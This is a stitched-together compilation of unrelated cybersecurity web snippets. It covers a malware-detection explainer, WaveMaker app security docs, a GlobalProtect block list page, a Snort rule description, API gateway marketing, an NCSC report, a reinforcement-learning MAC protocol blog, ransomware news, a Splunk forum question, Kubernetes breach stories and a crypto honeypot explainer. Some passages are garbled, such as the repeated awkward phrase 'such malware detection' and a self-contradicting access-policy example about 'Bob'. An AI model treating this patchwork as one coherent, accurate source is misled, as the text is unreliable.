To understand how such malware detection works, you first need to comprehend what malware is. Malware, short for malicious software, refers to any software designed to harm, exploit, or infiltrate computer systems or networks without the user's knowledge or permission. Malware can take many forms, including viruses, worms, Trojans, spyware, adware, and ransomware.
Such malware detection uses a variety of techniques to identify and remediate malicious code. These include signature-based detection, behavior-based detection, and sandboxing. Signature-based detection involves scanning files or programs for previously known malware signatures or code patterns. Behavior-based detection monitors the system's behavior for any abnormal or suspicious activities that may indicate the presence of malware. Sandboxing involves running potentially malicious code in a virtual environment to assess its behavior and prevent it from infecting the host system.
How to Succeed in Such Malware Detection?
Effective such malware detection requires a combination of human expertise, technology, and processes. Here are some tips for succeeding in such malware detection:
1. Invest in the right technology: Choose a malware detection solution that offers a range of detection techniques, including signature-based, behavior-based, and sandboxing. The technology should also integrate with other security tools to provide a comprehensive defense system.
2. Train your staff: Educate your employees on the significance of cybersecurity and how to identify and report suspicious activities. Implement a robust security awareness program that fosters a culture of security within the organization.
3. Monitor your network: Regularly monitor your network for any anomalies, intrusions, or attacks. Have a well-defined incident response plan that outlines the steps to take in case of a cyber attack.
4. Stay up to date: Keep your malware detection solution and other security tools up to date with the latest patches and software upgrades. Subscribe to threat intelligence feeds to stay informed of the latest cyber threats and trends.
The Benefits of Such Malware Detection
Deploying an effective such malware detection solution provides numerous benefits, including:
1. Protection against cyber threats: Malware detection helps to prevent cyber attacks that can cause data breaches, financial losses, reputation damage, and other adverse outcomes.
2. Enhanced productivity: With malware detection, employees can work without fear of cyber threats, resulting in improved productivity and efficiency.
3. Regulatory compliance: Many regulations and standards, such as PCI DSS, HIPAA, and GDPR, require organizations to implement adequate cybersecurity measures, including malware detection, to comply with their requirements.
Challenges of Such Malware Detection and How to Overcome Them
Despite its benefits, such malware detection is not without its challenges. Here are some of the obstacles you may encounter and how to overcome them:
1. False positives: Malware detection solutions can flag legitimate files or applications as malicious, resulting in false positives. To overcome this, regularly review and refine your malware detection policies and thresholds.
2. Legacy systems: Outdated systems or applications may not be compatible with the latest malware detection solutions or updates. Consider upgrading or replacing such systems where possible.
3. Budget constraints: Investing in a robust such malware detection solution can be costly, and many organizations struggle with budget constraints. To overcome this, leverage open-source solutions, cloud-based options, or consider outsourcing your cybersecurity needs to a trusted partner.
Tools and Technologies for Effective Such Malware Detection
Several tools and technologies can aid in such malware detection. These include:
1. Antivirus software: This is the most common type of malware detection tool that uses signature-based detection to identify known malware.
2. Endpoint detection and response (EDR): EDR solutions provide continuous monitoring and response capabilities for endpoints, including servers, desktops, and laptops.
3. Security information and event management (SIEM): A SIEM solution collects and analyzes security-related data from various sources to identify and respond to security incidents.
Best Practices for Managing Such Malware Detection
Here are some best practices for managing such malware detection:
1. Use a layered defense approach: Deploy multiple security tools and technologies, including antivirus, EDR, and SIEM, to provide a robust defense against malware attacks.
2. Regularly backup your data: Back up your data regularly to a secure location to prevent data loss or ransomware attacks.
3. Limit user privileges: Grant user privileges on a need-to-know basis to prevent unauthorized access or exploitation of systems.
4. Test and refine your policies: Regularly test and refine your malware detection policies and thresholds to minimize false positives and enhance accuracy.
Such malware detection is an essential component of an effective cybersecurity strategy. By understanding how it works, how to succeed, the benefits, challenges, tools, and best practices, you can better protect your organization from the growing cyber threats of malware attacks. Deploying a robust malware detection solution, investing in staff training, and staying up to date with the latest cybersecurity trends and threats can significantly enhance your organization's security posture. |
The percentage value next to the classification result is the ‘Confidence Level’. When you test your model, you will see the model’s response and a number in brackets. That number is the confidence level of the answer – 0 means no confidence (theoretically should never happen), and 100 means full confidence.
In addition to the confidence level, you can train the model to disregard scans that look significantly different than the scans used to train the model (the response will be “null” in that case).
To activate the “outlier detection” feature, use the expert mode, click on the settings button (cog wheel on the right), and check the “outlier detection” option.
As for your second question, the models are still been tested using the pre-processing methods you have originally chosen. |
The WaveMaker security feature offers comprehensive security solutions to secure the apps you develop. WaveMaker offers application level security and the two major areas including “Authentication” and “Authorization”.
“Authentication” is the process of establishing a principal who they claim to be (a “principal” generally means a user, device or some other system which can perform an action in your application).
“Authorization” or “Access-Control” refers to the process of deciding whether a principal is allowed to perform an action within your application.
"Onboarding" is the process of retrieving user's data from various providers like DB, LDAP, AD or any custom provider. This data includes roles and role groups information. Then, Authentication is done based on user credentials, which are obtained from the security provider; and Authorization or access to various app resources such as widgets, pages, data, and APIs can be controlled through configuration.
In WaveMaker, Security can be configured by selecting the Security option from the Project Configurations bar in the Project Workspace.
How App Security Works
- HTTP BASIC authentication headers - an IETF RFC-based standard
- LDAP/ AD - a very common approach to cross-platform authentication needs, especially in large environments
- Form-based authentication for simple user interface needs
- Automatic "remember-me" authentication
- Anonymous authentication allowing every unauthenticated call to automatically assume a particular security identity
If the server fails to authenticate a user, it will result in HTTP 401 response to the client. An authorization failure will result in 403 response sent to the client. If the requester is not logged in but must be, to access the requested resource, the user is redirected to the login page or can be prompted with a login dialog. If the user is logged in but lacks the credentials to access the requested resource, the request will be denied (403).
When security/authentication is enabled, all services are restricted to logged-in users by default. Only the login service is available to anonymous users. This can be customized using setup services.
WaveMaker also provides Role-based Access Control to control widget visibility. Role-based Access Control is a client-side function. As such, it should only be considered as a helper. It helps present the proper interface, based on the user's role. Role widget visibility must not be relied upon for securing resources. Take the example where only admin users are allowed to access a function invoked by a button click. Hiding the button to all but admin users via the client roles mechanism prevents non-admin users from expecting the button to work. However, the function of the button must be secured using server-side access control in order to be secure.
How security is implemented
Once Authentication is switched on the User Configuration information can be obtained from Service Providers like Database, LDAP, AD or any custom provider.
Depending on the security provider enabled, users and roles are on-boarded through configuration. Details regarding the access to details and the corresponding App role needs to be configured.
App Roles need to be added based on the configuration. By default, the platform provides with two roles admin and user. You can either retain/delete the same and further add to the list. When adding new App Roles ensure that the Roles are specified by the selected service provider.
Permissions can be set to app resources such as pages and services i.e. database, API & custom Java using the above-configured app roles. Accessibility or the level of visibility for each UI component can be configured separately from the widget properties. Widgets can be made accessible to certain roles or role groups based on the configuration.
Application Login can be configured using a Page or a Dialog. Each role defined in the application can have a separate landing page.
Security vulnerabilities like XSS and CSRF can be prevented from the OWASP Configuration.
The various terminology used by WaveMaker concerning Security:
Authentication: a process by which the access to app restricted to known/authentic users.
Authorization: a process by which the access to various aspects of the app such as services, widgets, and functionality; is restricted to the specified app roles.
Users: Authentic users of the app identified via a Username and Password.
App Roles identify the level of authorization allowed to a given user. These roles are assigned to Users mentioned in the previous step.
Permissions: Each of the web resource and service used in an app is assigned various permission levels:
- Everyone - anyone can access this item i.e. no authentication required
- Authenticated - these items are accessible to authenticated users who will be identified via the roles assigned to them
- Anonymous - widgets at this access level are visible to only users who are not logged in. _
This setting can be used only for widget access.
The permission levels follow a hierarchical structure with child element inheriting parent permissions if none are specified.
- Login Configuration defines the login behavior once authentication is enabled. There are two behaviors that can be defined - login page and landing page:
- specify the UI for login - dialog or page. In the case of a page for login, you can use the default login page provided by Studio or design your own login page.
- Landing Page defines the page to be displayed once the user logs in. The page to be displayed can be defined based upon the role of the logged in user. |
Network > GlobalProtect > Device Block List
) to add devices to the GlobalProtect device block list. Devices on this list are not permitted to establish a GlobalProtect VPN connection.
Device Block List Setting
Enter a name for the device block list (up to 31 characters). The name is case-sensitive and must be unique. Use only letters, numbers, spaces, hyphens, and underscores.
For a firewall that is in multiple virtual system mode, the
is the virtual system (vsys) where the GlobalProtect gateway is available. For a firewall that is not in multi-vsys mode, the
field does not appear in the GlobalProtect Gateway dialog. After you save the gateway configuration, you cannot change the
Enter the unique ID that identifies the client, a combination of host name and unique device ID. For each Host ID, specify the corresponding Hostname.
Enter a hostname to identify the device (up to 31 characters). The name is case-sensitive and must be unique. Use only letters, numbers, spaces, hyphens, and underscores. |
FILE-IMAGE -- Snort detected suspicious traffic targeting vulnerabilities found inside images files, regardless of delivery method, targeted software, or image type. (Examples include: jpg, png, gif, bmp). These rules search for malformed images used to exploit system. Attackers alter image attributes, often to include shell code, so they are susceptible to vulnerabilities when they are parsed and send commands instead of loading the image.
FILE-IMAGE Apple Quicktime malformed FPX file memory corruption attempt
This event is generated when a memory corruption attempt is detected in Apple Quicktime. Impact: Attempted Administrator Privilege Gain Details: Ease of Attack:
No information provided
No public information
No known false positives
Cisco Talos Intelligence Group
No rule groups
CVE-2016-1767QuickTime in Apple OS X before 10.11.4 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted FlashPix image, a different vulnerability than CVE-2016-1768. |
Enforce Policy at the API Gateway Level
It wasn’t too long ago that coarse-grained access control lists (ACL) rules on a network firewall were enough to satisfy security requirements. As application architectures have become more distributed — composed of multiple microservices, housed in containers — the way we control access between resources has evolved from focusing on hosts/IPs to one based on services and message payloads.
Unify Policy Lifecycle Management for Ops and Devs
- Manage policy lifecycle from authoring to monitoring
- Validate the impact of policy changes before deploying
- Distribute policy across clusters, clouds and teams
- Monitor authorization decisions in real-time and in logs
- Rapidly implement leading open-source solutions at enterprise scale, such as Kong and Envoy
Extend Enterprise-grade Lifecycle Management Across Kong Mesh
- Automate policy-as-code for your service mesh
- Provide visibility to monitor and audit traffic flow and decisions in real-time
- Increase application reliability with policy-based traffic management
Command Some of the World’s Most Powerful API Gateways
Use Rego to command the top API gateways, including Kong and Emissary.
What is an API Gateway?
An API gateway is a tool used to increase security, scalability and efficiency of APIs and backend microservices by providing them a single entry point. They expose the API endpoints, which are accessible by the public, push incoming requests to the desired services, transform them as needed, and package the data in the response before sending it back to the front-end client. In acting as a single entry point for a system, API gateways restrict access to microservices from outside entrants, reducing attacks.
Why do teams need authorization at the service mesh gateway?
Using API gateways ensures that only valid requests, recognized by the gateway, are allowed through, as well as being significantly easier and more efficient than implementing that logic in each and every service, which would mean replicating the access logic in several different locations. By using API gateways, that access logic all coalesces into one place, making it safer and more efficient not only to defend the system, but also to deploy new software and changes for existing applications.
What is an example of microservices authorization policy?
Policy-as-code can be used to enforce all sorts of controls upon a system, from complex rules with several prerequisites to authorization, to rules as simple as allowing a single user. For example, a policy may state that a specific user, let’s call him Bob, may access a certain resource as it does not pertain to his job. Such a rule could be expressed through code and enforced across a system, barring Bob access to that resource. |
A scam to defraud thousands of U.K. citizens using a fake email address spoofing a British airport was one of a wide range of cyber attacks successfully prevented by the National Cyber Security Centre (NCSC).
Details of the criminal campaign are just one case study of many in Active Cyber Defence – The Second Year, a report released on July 16 analyzing British cyber defense.
The incident occurred last August when criminals tried to send in excess of 200,000 emails purporting to be from a U.K. airport and using a non-existent gov.uk address in a bid to defraud people.
However, the emails never reached the intended recipients’ inboxes because the NCSC’s Active Cyber Defence (ACD) system automatically detected the suspicious domain name and the recipient’s mail providers never delivered the spoof messages. The real email account used by the criminals to communicate with victims was also taken down.
A combination of ACD services has helped Her Majesty’s Revenue and Customs (HMRC) – which, among other things, is responsible for collecting taxes – own efforts in massively reducing the criminal use of their brand. HMRC was the 16th most phished brand globally in 2016, but by the end of 2018 it was 146th in the world.
Introduced by the NCSC in 2016, ACD stops millions of cyber attacks from happening. It includes the pioneering programs Web Check, DMARC, Public Sector DNS and a takedown service.
The ACD technology, which is free at the point of use, intends to protect the majority of the U.K. from the majority of the harm from the majority of the attacks the majority of the time.
Other key findings for 2018 from the second ACD report include:
- In 2018 the NCSC took down 22,133 phishing campaigns hosted in U.K. delegated IP space, totaling 142,203 individual attacks;
- 14,124 U.K. government-related phishing sites were removed;
- The total number of takedowns of fraudulent websites was 192,256, and across 2018, with 64% of them down in 24 hours;
- The number of individual web checks run has increased almost 100-fold, and NCSC issued a total of 111,853 advisories direct to users in 2018.
The new report also looks to the future of ACD, highlighting a number of areas in development. These include:
- The work between the NCSC and Action Fraud to design and build a new automated system which allows the public to report suspicious emails easily. The NCSC aims to launch this system to the public later in 2019;
- The development of the NCSC Internet Weather Centre, which will aim to draw on multiple data sources to allow us to really understand the digital landscape of the U.K.;
- The development of an Infrastructure Check service: a web-based tool to help public sector and critical national infrastructure providers scan their internet-connected infrastructure for vulnerabilities;
- NCSC researchers have begun exploring additional ways to use the data created as part of the normal operation of the public sector protective DNS service to help our users better understand and protect the technologies in use on their networks.
Announcing the results of the report, Dr Ian Levy, Technical Director of the NCSC said the organization welcomes partnerships to help strengthen the country’s cyber defense.
“The NCSC is not the only organization with good ideas, and we are not the only country connected to the internet. We would welcome partnerships with people and organizations who wish to contribute to the ACD service ecosystem, analysis of the data or contributing data or infrastructure to help us make better inferences.
“We believe that evidence-based cyber security policy – driven by evidence and data rather than hyperbole and fear – is a possibility.” |
The identity and access management challenges that exist in the physical world - identity management, application security, access control, managing sensitive data, user activity logging, and compliance reporting - are even more critical in the virtual environments that are growing in use as IT seeks to streamline its operations and reduce operating costs. However, security risks are increased due to the nature of the virtualization environment and IT should seek to extend their security solutions from the physical server environment to the virtualization environment as seamlessly as possible.
Continue reading this white paper to learn how CA Content-Aware IAM solutions help protect customers in the physical world and similarly protect virtual environments by controlling identities, access, and information usage.
Credit Union Times is the nation's leading independent source for breaking news and analysis for credit union leaders. For more than 20 years, Credit Union Times has set the standard for editorial excellence and ethical, straight-forward reporting. |
In this post we will discuss how can we allow medium access control (MAC) protocols to emerge with multi-agent reinforcement learning (MARL). Current MAC protocols are designed by engineers as a predefined set of rules, but have we addressed the question of what happens if we let the network come up with its own MAC protocol? Could it be better than a human-designed one?
In simple terms, we let each of the network nodes, the user equipments (UEs) and the base stations (BSs), be a RL agent that can send control messages to one another while also having to deliver data through the network. Then, the nodes can learn how to use the control messages to coordinate themselves in order to deliver the uplink data, effectively emerging their own protocol. This post is based on .
A MAC protocol is a set of rules that allow the network nodes to communicate with one another. It regulates the usage of the wireless channel through two policies, the signaling policy and the channel access policy. The signaling policy is represented by the control plane, it determines the information that should be sent through the control channels and what the received information means. The channel access policy determines how the nodes can share a communication channel and it is represented by the data plane, as it determines when data can be transmitted through the shared channel. Figure 1 gives an example of a MAC protocol allowing two UEs to send data to the BS.
Most of the machine learning (ML) applications to MAC protocols have been for new channel access policies. Our proposal is to use ML for the nodes to learn both the signaling policy (control information) and the channel access policy, in order to come up with their own version of Fig. 1, that is, what to send through the control channel, the meaning of the control messages and how to use this information to send data across the shared channel. To do this we will use MARL augmented with communication.
2. Multi-Agent Reinforcement Learning
Reinforcement learning (RL) is an area of ML that aims to find the best behaviour for an agent interacting with a dynamic environment in order to maximize a notion of accumulated reward. In RL, the agent interacts with the environment by taking actions and it can observe the state of the environment in order to obtain information to guide its policy. The policy is a function representing the behaviour of the agent as it maps the perceived state of the environment for the action to be taken.
The procedure from the point of view of the agent can be simplified as:
- Select and take action.
- Observe the state transition and the received reward.
- Update the policy or the value function.
In MARL, however, we have multiple agents interacting with the environment. Since we are looking for cooperative behaviours, we are interested in partial observable environments, modelled as a partial observable Markov decision problems (POMDPs). In this case, the agent does not have access to the full state of the environment, because if the agent has all the information needed to guide its actions it does not need to cooperate in order to solve the problem. In this work, we help the agents cooperate by having a single team reward and also allowing the agents to communicate by taking communication actions. This is shown in Figure 3.
One of the main issues of MARL is the non-stationarity. For example, in Figure 3 the agent 1 perceives agent 2 as part of the environment and whenever agent 2 updates its policy it seems as if, from the agent’s 1 point of view, the model of the environment changed. This is due to the fact that the environment transition depends on the actions of both agents, besides the environment state. The algorithm we use in this work, multi-agent deep deterministic policy gradient (MADDPG), tries do address this issue.
In the MADDPG, the framework of the centralized training and decentralized execution (CTDE) is used in order to address the non-stationarity issue. The algorithm follows the actor-critic architecture, where each agent has an actor network representing the policy and a critic network representing a value function:
- The actor network receives the state and outputs the action to be taken. It is a function approximation for the policy.
- The critic network receives the state and the action and outputs a real value representing how good is to take that action in that state in terms of future expected reward. It is a function approximation for the action-value function.
In the MADDPG, each agent has its own actor network, depending only of its own observation. During execution, only the actor network is needed. However, during training, each agent has a centralized critic and it receives the observations and actions of all agents in the system. The intuition behind this is that, if we know the action taken by all agents, the model of the environment is stationary even as the policies change.
3. System Model
Now we have to model our problem. First let’s look at the transmission task from the wireless system’s point of view of the before modelling it as a MARL problem.
The problem we are tackling is a multi-access uplink transmission scenario. We consider a single cell with a BS serving 2 UEs according to a temporal division multiple access (TDMA) scheme, with the UEs having to transmit packets to the BS. The BS and UEs can exchange information using control messages that are transmitted through a dedicated error-free control channel. The channel for the uplink data transmission is modelled as a packet erasure channel, where a packet is incorrectly received with a probability given by the block error rate (BLER). The UEs need to manage their transmission buffer by deciding when to transmit a packet and when to delete the packet from the buffer (it can only transmit the next packet after it has deleted the current one). This is shown in Figure 5:
For model this as MARL problem that we need to decide the observations, the actions and the reward for:
- BS: Channel status (idle, busy or reception from UE n).
- UE: Number of packets in the transmission buffer.
- Environment actions (only the UEs can transmit in this task, so it is only defined for the UEs):
- Do nothing.
- Transmit the oldest packet in the buffer.
- Delete the oldest packet in the buffer.
- -3 if an UE deleted a packet that was not yet received by the BS.
- +3 if a new packet was received by the BS.
- -1 otherwise.
The agents also need to take their communication action, we assume that the number of communication actions for the downlink (DL) is three and for the uplink (UL) is two. These communication actions have no prior meaning and the agents have to agree on their meaning as they learn how to use it. The input of the actor network and also the observation used in the critic, which we call agent state, is a concatenation of the current observation and messages it has received, with the actions it has taken and some of the previous information (observation, action and messages).
Tables 1 and 2 show some of the simulation parameters for the system and training algorithm.
|Number of UEs||2|
|Number of packets to transmit||[1, 2]|
|Packet arrival probability||0.5|
|BLER||[10-1, 10-2, 10-3, 10-4]|
|UL vocabulary size||2|
|DL vocabulary size||3|
|Max. duration of episode in TTIs||24|
|Update interval in TTIs||96|
In Figures 6 and 7, we compare the MADDPG solution with the DDPG, i.e. local critic instead of a centralized one, and a contention-free baseline. The performance is evaluated in terms of goodput, defined as the total number of packets received by the BS divided by the number of TTIs taken to finish the transmission task, the goodput does not consider retransmissions.
The results above show that the protocols emerged by the MADDPG have superior performance than the contention-based baseline. But what happens if we compare across different BLERs? This is question is answered in Figure 8 and it shows that the MADDPG can emerge a protocol tailored to low BLER regimes that performs better than a general-purpose one.
In this article, we answered the following questions:
- Can we use Multi-Agent Deep Reinforcement Learning to learn a signalling policy?
- How does the performance compare with a standard baseline?
- Can this framework produce a protocol tailored for different BLER regimes?
But other questions remain. How does this framework fares on more complex problems, such as channel-dependent scheduling, different use cases (URLLC) and more complex set of actions? To tackle this, our intuition tells that we need a larger vocabulary size, since more information is needed. Besides this, different rewards may be needed for different use-cases.
Mota, Mateus P., et al. “The Emergence of Wireless MAC Protocols with Multi-Agent Reinforcement Learning” arXiv preprint arXiv:2108.07144 (2021). Link
Lowe, Ryan, et al. “Multi-Agent Actor-Critic for Mixed Cooperative-Competitive Environments.” Advances in Neural Information Processing Systems 30 (2017): 6379-6390. Preprint available on arxiv
Foerster, Jakob N., et al. “Learning to communicate with deep multi-agent reinforcement learning.” arXiv preprFoerster, Jakob, et al. “Learning to Communicate with Deep Multi-Agent Reinforcement Learning.” Advances in Neural Information Processing Systems 29 (2016): 2137-2145. Preprint Available on arXiv |
is private Vlan concept is introduced by cisco for alternative for access-list to segregate traffic among different Vlan and within same Vlan .
A private VLAN (or port isolation) restricts communication between switch ports. Normally, that is used to enable their communication to a server or uplink port while denying all other ports. Since a private VLAN is port-based it is essentially a layer-2 concept. Your trust is based on physical switch ports.
An access list can be used to filter traffic based on IP addresses (layer 3) or transport-layer port numbers (layer 4). An ACL is much more flexible than a private VLAN - you could for instance restrict traffic to DNS queries to one IP destination and HTTP to a range of destinations that are remote to the filtering switch. However, your trust is based on IP addresses. Since those might be spoofed, ACLs may require additional policies (DHCP snooping, MAC-IP binding, 802.1X, ...) to ensure the required security.
Whatever you use depends on your requirements and where you can base your trust. |
Ransomware operators have a new tool, named AXLocker, which can encrypt several file types and make them completely unusable. Additionally, the ransomware steals Discord tokens from the victim’s machine and sends them to a separate Discord server ran by the threat actors (TAs) . Finally, the AXLocker ransomware shows a pop-up window that contains a ransom note that gives instructions to victims on contacting the TAs to restore their encrypted files.
Octocrypt is a new ransomware strain that targets all Windows versions. The ransomware builder, encryptor, and decryptor are written in Golang. The TAs behind Octocrypt operate under the Ransomware-as-a-Service (RaaS) business model and surfaced on cybercrime forums around October 2022 for USD400. Octocrypt ransomware has a simple web interface for building the encryptor and decryptor, and the web panel also displays the infected victim’s details.
One more new ransomware dubbed “Alice” also appeared on cybercrime forums under the TAs project of “Alice in the Land of Malware”. The Alice ransomware also works under the Ransomware-as-a-Service (RaaS) business model. |
Hi I have a malware pcap file that I have for analysis that i have tcpreplayed and the stream data is captured using splunk stream. Now the problem is that I have a list of MD5 hashes as a lookup table and I would like to compare the md5 hashes with the lookup table and the .txt files or .exe files found in the pcap stream. I would like to generate md5 hashes of the .txt and .exe and compare with the lookup table.
I have also researched that I can extract a field as an MD5 hash, e.g. i extract the field src_content as an md5 hash. But when I tried that, it seems like the md5 hash does not match against the .txt file e.g. hi.txt that I have extracted from wireshark. I used md5sum in ubuntu linux to generate the md5 hash for hi.txt
I have found out that I can do this by using the content extraction in splunk stream. But the hashes does not match because in splunk stream, the dest and src content payload data contains the content headers, which I do not want. I only want to hash the file inside. How do i do it ? |
Mobile apps are among businesses’ most valuable assets. Unfortunately, they’re also among businesses’ greatest security risks. These days, anyone with an iPhone, Android phone, iPad or Android tablet could put your entire company at risk due to an insecure or malicious application. If enterprise applications lack sufficient data security, businesses are taking huge risks. Everyone wants their data to be secure, however securing mobile devices poses a significant challenge.
What to do? The federal government’s National Institute of Standards and Technology (NIST) provides excellent advice in its publication “Vetting the Security of Mobile Applications.” (Download the free report here)
The report recommends that companies vet every single HTML5 mobile app before it’s deployed. And it says this shouldn’t be done in an ad hoc way, but rather via a strictly controlled process for every single app. With a strict process, security flaws in mobile apps can be caught and corrected, eliminating needless risks introduced by insecure apps. Using mobile development tools with integrated security frameworks make it easier to develop apps with mobile security.
Even before the vetting process, a company should develop a set of security requirements that specify, in the words of the report, “how data used by an app should be secured, the environment in which an app will be deployed, and the acceptable level of risk for an app.” For more information how to do that, get advice from the NIST report “Guidelines for Managing the Security of Mobile Devices in the Enterprise.”
HTML5 Mobile App Security: The two-step processOnce the requirements have been established, mobile app vetting should be a two-step process, the NIST says. The first step is app testing, to check for potential vulnerabilities. The second step is app approval or rejection.
In the app testing process, all apps should be submitted to an administrator before being used in the business. The administrator is in charge of the testing and approval/rejection processes, and he or she should use one or more analyzers for checking the security of the app. These analyzers can be people, a testing service, or an automated tool, and they test the app against the set of security rules established by the organization.
After the testing is done, the analyzer creates a report about the app’s vulnerabilities, along with a risk assessment of those vulnerabilities.
In the approval/rejection process, the report and risk assessment are sent to an auditor, who determines whether the app meets the security requirements set out by the business. The auditor may do some independent research as well. He then creates report and recommendation, and sends it to an approver who makes the decision about whether to approve or reject the app. That decision is then sent back to the administrator, who lets approved apps into the organization, and ensures that rejected ones aren’t allowed in.
The following illustration, taken from the NIST report, shows the entire process in a nutshell. |
December 12, 2022
Many companies that use Kubernetes are still highly concerned with the security of their systems. However, it is remarkable that these security concerns are not related to the in-built risks of the Kubernetes system itself. Instead, the safety issue is significant because of how complex Kubernetes is, which makes it difficult even for skilled cloud-native developers to navigate the platform.
Security is a priority for any business serious about protecting its data. With Digital Data as your consultant, you can ensure that your Kubernetes implementation is robust and secure – our team of certified professionals will help ensure your organization benefits from all the advantages of a complex system without compromising security. In addition, Digital Data consultants can help you utilize Kubernetes with confidence.
A recent study by StackRox indicated that a steep learning curve, inadequate skills in the labor market, and risks from misconfigurations are the leading causes of Kubernetes security breaches. The study was conducted on more than 540 respondents, where more than 94% of this group had suffered substantial security threats in the past year!
However, they are not the only ones to fall victim; below is a brief list of significant Kubernetes security incidents that have occurred recently.
This Kubernetes security incident involving Capital One had significant ramifications and caused many people to wake up and take note of the threat they were dealing with. It occurred precisely a year ago and resulted in the exfiltration of 30GB of credit application information involving about 106 million customers.
The actual cause of the security breach was misconfiguration, an occurrence that we often see in the Kubernetes industry. Specifically, in this case, a misconfigured firewall enabled the attacker to access internal metadata and get credentials of an Amazon Web Services IAM role that did not need to be that “broad” to begin with.
From this incident, we can learn the all-important lesson of being cautious when assigning IAM roles. Many individuals are always in haste, trying to implement Kubernetes and get it to function. As a result, they frequently need to pay more attention to critical steps such as secrets and services management and assigning IAM roles on a per pod basis and not per application.
Another critical step is to change manually and “roll” credentials – if possible, use an automated service that limits the number of times credentials are renewed. In addition, this move also sets an upper limit on the duration a breach can endure.
It is difficult to anticipate where an attack might come from. This is because, with Kubernetes, distributed environments, containers, and the surface exposed to an attack become increasingly more significant. For example, this is how the attack succeeded in embedding malicious pictures in the Docker hub last year, setting up anyone who uses those pictures to fall victim to “cryptojacking.” This means that users unintentionally set up cryptocurrency miners like Docker containers that illegally use resources to help the attacker mine cryptocurrency. Unfortunately, this is only one of several attacks of similar nature we have witnessed lately.
Just like in the Capital One case, it is important to change passwords and roll credentials regularly to prevent this situation from occurring. In addition, to guarantee security when working with Kubernetes, you must rotate your secrets and audit images to ensure that only authenticated images are being used.
It can be quite challenging to detect malicious images since, most of the time, the containers will function as intended. For this reason, extra checks are necessary to identify any deviations in the application functioning to guarantee that no stowaway processes occur in the background. Unfortunately, this form of attack is quite profitable to the attacker.
Microsoft is another example of a major organization that has become a victim of many cryptojacking incidents. In April this year, it was revealed that there was a wide-scale crypto-mining attack on the Kubernetes cluster in Azure. Later in June, another attack aimed at misconfigured Kubeflow containers to convert them into crypto miners.
Like the compromised image incident with Docker hub, Kubeflow relies on several services that enable users to use images like Jupyter and Katib notebook server. For Jupyter, the selected image doesn’t need to be an authentic notebook image – this is where the attackers gained access. If we study the cause of this misconfiguration, it is extremely similar to the causes of every misconfiguration, including laziness, impatience, and inadequate knowledge.
By default, Kubflow’s UI dashboard is only accessed internally via an Istio ingress gateway. Unfortunately, several users found a shortcut and directly accessed the dashboard without passing via the Kubernetes API server. As a result, the users did not know that they were exposing their dashboard to an attack through the backdoor in their attempts to save time. Essentially, this error had given internet users access to the dashboard through the Istio ingress gateway. Here, we learn that every change in settings or configuration brings profound security concerns to the organization.
As the value of cryptocurrencies is rising steeply and more computing resources are being located in the cloud, cases of hijacking resources and data theft have become more profitable for attackers. For example, auto manufacturing company Tesla suffered a cryptojacking incident after a Kubernetes cluster was breached because an administrative console was not password protected.
This attack was revealed to the public through a report written by RedLock Cloud Security Intelligence. In the report released to the public, a misconfiguration enabled the attackers to access Tesla’s AWS S3 bucket credentials. The attackers used the credentials to run a crypto-mining script on a pod.
It is helpful to note that the attackers used numerous “ingenuine” precautionary measures to conceal themselves and avoid being found out. The attackers deliberately avoided using a recognized mining pool and instead used an unlisted one. Also, they relied on a popular CDN service Cloudflare to keep their IP hidden. Finally, they were keen to ensure the mining script did not consume enough CPU resources to raise the alarm or cause detection; they listened on a nonstandard port, meaning detecting any malicious activity based on port traffic was practically impossible. To detect such a security attack, you must monitor configurations to ensure all policies are respected actively.
During this security attack on Jenkins, which occurred around the same time as the Tesla breach, the attackers exploited the company’s system, and crypto mined about $3.5 million, or 10,800 Monero, in 18 months. Monero is similar to the cryptocurrency involving malicious Docker images, as earlier discussed. In the Docker incident, the security audit revealed that six malicious images had been pulled over more than 2 million times. This means that 2 million users were potentially mining Monero for the attackers, which is quite an exploit.
Of the above-highlighted incidences, the Jenkins Kubernetes security breach is perhaps the most daring security breach to be exposed. The Jenkins incident is also notable because it uses susceptible Windows machines and personal computers operating on Jenkins, therefore exposing Jenkins CI servers to the attack.
Also note recently, the malware has shown tremendous ability to pass through several lifecycles, continually updating itself and shifting mining pools to evade detection. In addition, the malware’s ability to reach servers signifies that the attackers, who are initially Chinese, have raised their game. If they can steal more than $3 million from old desktops, they can only cause greater harm using powerful servers.
The Reliability Of Kubernetes Security: The Platform’s Surface Is Constantly Increasing
Kubernetes security breaches are increasing because the attack surface now includes a limitless assemblage of hybrid clouds, on-premises data centers, personal computers, IoT devices, and edge devices, among others.
Closed-minded security has ended – nowadays, you cannot afford to merely focus on your application and use a firewall to protect the rest of the setup. This is because some attacks are likely to originate from a service being run by another service that is in use by a service that you are using. Also, everyone must play their role in security matters, meaning the cloud provider or Kubernetes manager can only help so far, and the rest of the work is yours.
We expect cases of cryptojacking to increase as more attackers find more ways of avoiding detection, apart from when the cloud services bills have risen remarkably high.
Digital Data Can Help
Digital Data is a full-stack, end-to-end consultancy that 100% specializes in architecting, securing, and deploying containerization & orchestration technologies from Mirantis on-premises and in any cloud on any operating system. Some of our deployments are in classified environments serving National Security Missions, where the need for hardening is paramount. We also focus on turning around failed or troubled projects with economics and timelines that make sense. We have a wide customer base and assist in CI/CD pipeline design, security, and optimization. Often times, we are chartered by the C-suite to lead, guide, and direct these modernization initiatives. |
A virtual trap to lure attackers so that you can improve security policies is what honeypot aims for
Smart contracts programs across a decentralized network of nodes can be executed on modern blockchains like Ethereum. Smart contracts are becoming more popular and valuable, making them a more appealing target for attackers. Several smart contracts have been targeted by hackers in recent years.
However, a new trend appears to be gaining traction; namely, attackers are no longer looking for susceptible contracts but are adopting a more proactive strategy. Instead, they aim to trick their victims into falling into traps by sending out contracts that appear to be vulnerable but contain hidden traps. Honeypots are a term used to describe this unique sort of contract. But, what is a honeypot crypto trap?
Honeypots are smart contracts that appear to have a design issue that allows an arbitrary user to drain Ether (Ethereum’s native currency) from the contract if the user sends a particular quantity of Ether to the contract beforehand. However, when the user tries to exploit this apparent flaw, a trapdoor opens a second, yet unknown, preventing the ether draining from succeeding. So, what does a honeypot do?
The aim is that the user focuses entirely on the visible weakness and ignores any signs that the contract has a second vulnerability. Honeypot attacks function because people are frequently easily deceived, just as in other sorts of fraud. As a result, people cannot always quantify risk in the face of their avarice and assumptions. So, are honeypots illegal? |
It is often referred to as a packet filter as it examines each packet transferred in every network connection to, from, and within your computer. iptables replaced ipchains in the 2.4 kernel and added many new features including connection tracking (also known as stateful packet filtering).1
This means that the configuration for the firewall is set to "deny all connections" by default and the only way to establish connections between to point or two entity, we have to explicitly add new rules for them.
